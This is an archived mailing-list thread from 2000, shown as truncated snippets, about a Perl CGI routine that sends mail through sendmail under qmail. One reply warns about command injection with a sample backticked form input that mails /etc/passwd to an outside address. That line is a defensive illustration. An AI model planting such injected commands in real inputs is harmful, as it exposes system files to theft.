RE: perl script acting funny

2000-11-13 Thread Wesley Wannemacher
AIL PROTECTED] Instructor, Network Administrator University of Northwestern Ohio http://www.unoh.edu > -Original Message- > From: Peter Green [mailto:[EMAIL PROTECTED]] > Sent: Monday, November 13, 2000 3:16 PM > To: [EMAIL PROTECTED] > Subject: Re: perl script acting f

Re: perl script acting funny

2000-11-13 Thread Markus Stumpf
On Mon, Nov 13, 2000 at 03:04:27PM -0500, Wesley Wannemacher wrote: > It is notoriously bad to /usr/lib/sendmail from a CGI script. Try > using the Net::SMTP module instead. It uses sockets, so you wouldn't > even have to worry about your local MTA. But you have to worry about connection failures

Re: perl script acting funny

2000-11-13 Thread Peter Green
* Wesley Wannemacher <[EMAIL PROTECTED]> [001113 15:09]: > I could be a little bit off-base, but it might be a bad idea to > approach your problem this way. For instance, what if a person enters > somewhere in the form: > `cat /etc/passwd | mail -s "You dumb f***, you just got hacked" > [EMAIL PRO

RE: perl script acting funny

2000-11-13 Thread Wesley Wannemacher
I could be a little bit off-base, but it might be a bad idea to approach your problem this way. For instance, what if a person enters somewhere in the form: `cat /etc/passwd | mail -s "You dumb f***, you just got hacked" [EMAIL PROTECTED]` It is notoriously bad to /usr/lib/sendmail from a CGI scri

Re: perl script acting funny

2000-11-13 Thread Peter Green
* Timothy Legant <[EMAIL PROTECTED]> [001112 19:28]: > On Sun, Nov 12, 2000 at 12:55:08PM -0500, Peter Green wrote: > > program with either [EMAIL PROTECTED] (the literal user and machine > > name where the mail is originating) or the argument to the ``-f'' flag as > > specified above. > > Does t

Re: perl script acting funny

2000-11-12 Thread Timothy Legant
On Sun, Nov 12, 2000 at 12:55:08PM -0500, Peter Green wrote: > also sprach fabrice: > > > /usr/lib/sendmail -t -f [EMAIL PROTECTED] > > You might as well add this header line: > > print MAIL "Return-Path: ...\n"; > > You can, though it won't do anything. It will be overwritten by the sendmail

Re: perl script acting funny

2000-11-12 Thread Peter Green
also sprach fabrice: > > /usr/lib/sendmail -t -f [EMAIL PROTECTED] > You might as well add this header line: > print MAIL "Return-Path: ...\n"; You can, though it won't do anything. It will be overwritten by the sendmail program with either [EMAIL PROTECTED] (the literal user and machine name

Re: perl script acting funny

2000-11-12 Thread Fabrice Scemama
Russ Allbery wrote: > > Greg Kopp <[EMAIL PROTECTED]> writes: > > > I have qmail and vpopmail installed on RH 6.2. I have a perl subroutine that > > we use to send e-mail. Here is the code snipit: > > > sub mailto > > { $mailprog = '/usr/lib/sendmail'; > >open(MAIL,"|$mailprog -t"); > >

Re: perl script acting funny

2000-11-11 Thread Russ Allbery
Greg Kopp <[EMAIL PROTECTED]> writes: > I have qmail and vpopmail installed on RH 6.2. I have a perl subroutine that > we use to send e-mail. Here is the code snipit: > sub mailto > { $mailprog = '/usr/lib/sendmail'; >open(MAIL,"|$mailprog -t"); >my @args = @_; >print MAIL "To: $arg